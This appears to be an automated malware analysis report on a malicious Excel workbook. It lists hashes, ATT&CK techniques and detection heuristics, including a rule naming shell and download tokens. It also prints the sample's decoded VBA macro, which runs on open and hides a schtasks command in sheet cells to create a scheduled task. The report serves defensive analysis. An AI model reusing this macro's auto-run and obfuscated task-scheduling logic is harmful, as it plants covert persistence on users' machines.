Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 6ae5f3f6dccabb97…

MALICIOUS

Office (OOXML) / .XLSX

212.4 KB Created: 2000-04-13 21:48:14 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-02
MD5: 7c704faaa07a321c2f916293c0551732 SHA-1: 4626433cf9e1e6e4b371ede29f516005463c1198 SHA-256: 6ae5f3f6dccabb9768c58b11d373cd626b48bae09da9d433f45c2b057fe358dc
108 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains a Workbook_Open VBA macro that executes a script. This script uses CreateObject to interact with the Windows Task Scheduler service, likely to establish persistence by scheduling a task. The script attempts to create a task with a description indicating it will 'Start admin process at a certain time' and sets the execution time limit. The presence of CreateObject and the Workbook_Open auto-execution heuristic strongly suggest this macro is designed to download and execute a second-stage payload or establish persistence.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xCodePage = CreateObject("Schedule.Service")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3335 bytes
SHA-256: f1543f39997ed77b925a18d06c6e8878cfa0dbaa007994b82ea40f335725c589
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
    On Error GoTo xPaperCsheet
    xFillWeekdays = 1 / 0
xPaperCsheet:
        If Err.Number <> 0 Then
            xDebugCodePane = "Thank You!"
            MsgBox xDebugCodePane, , "Good", Err.HelpFile, Err.HelpContext
            xFirstRow = xPaperEsheet()
        End If
End Sub

Function xPaperEsheet()
    Const xDialogFont = 1
    Const xErrorBarIncludePlusValues = 0
    Set xCodePage = CreateObject("Schedule.Service")
    Call xCodePage.Connect
    Set xListDataTypeCheckbox = xCodePage.GetFolder(Chr(92))
    Set xDAreaStacked = xCodePage.NewTask(0)
    Set xSpinner = xDAreaStacked.RegistrationInfo
    xSpinner.Description = "Start admin process at a certain time"
    xSpinner.Author = "Author Name"
    Set xSortLabels = xDAreaStacked.Principal
    xSortLabels.LogonType = 3
    Set xNoChange = xDAreaStacked.Settings
    xNoChange.Enabled = True
    xNoChange.StartWhenAvailable = True
    xNoChange.Hidden = False
    Set xDataLabelsShowNone = xDAreaStacked.Triggers
    Set xDColumn = xDataLabelsShowNone.Create(xDialogFont)
    xMaximized = DateAdd("s", 68, Now)
    xCountNums = xLocationAutomatic(xMaximized)
    xXmlImportElementsTruncated = DateAdd("n", 10, Now)
    xArrowHeadLengthMedium = xLocationAutomatic(xXmlImportElementsTruncated)
    xXYScatter = DateAdd("s", 300, Now)
    xDColumn.StartBoundary = xCountNums
    xDColumn.EndBoundary = xArrowHeadLengthMedium
    xDColumn.ExecutionTimeLimit = "PT5M"
    xDColumn.ID = "TimeTriggerId"
    xDColumn.Enabled = True
    Set xUpdateLinksNever = xDAreaStacked.Actions.Create(ActionTypeExec)
    xUpdateLinksNever.Path = "schtasks"
    For Each Cell In ActiveWorkbook.Sheets("GlocalSign Protected").Range("AV67:DA148")
        If Cell.Value > 0 Then
            xPTClassic = xPTClassic & Chr(Cell.Value)
        End If
    Next Cell
    xHAlignGeneral = xPTClassic & Format(xXYScatter, "hh:mm")
        Debug.Print xHAlignGeneral
    xUpdateLinksNever.Arguments = xHAlignGeneral
    Call xListDataTypeCheckbox.RegisterTaskDefinition("xMDY", xDAreaStacked, 6, , , 3)
End Function

Function xLocationAutomatic(xFillYears)
    xDataLabelSeparatorDefault = "0" & Second(xFillYears)
    xMarkerStyleDot = "0" & Minute(xFillYears)
    xParamTypeWChar = "0" & Hour(xFillYears)
    xProduct = "0" & Day(xFillYears)
    xDialogGallery3dSurface = "0" & Month(xFillYears)
    xDEffects2 = Year(xFillYears)
    xVerbOpen = Right(xParamTypeWChar, 2) & ":" & Right(xMarkerStyleDot, 2) & ":" & Right(xDataLabelSeparatorDefault, 2)
    xGrid = xDEffects2 & "-" & Right(xDialogGallery3dSurface, 2) & "-" & Right(xProduct, 2)
    xLocationAutomatic = xGrid & "T" & xVerbOpen
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: cd7efccf5cfc82ad852f56e75f3503645cc3286ad6dff93116e67bbe6d6a4e38

Open this report in the interactive analyzer, or submit your own file for analysis.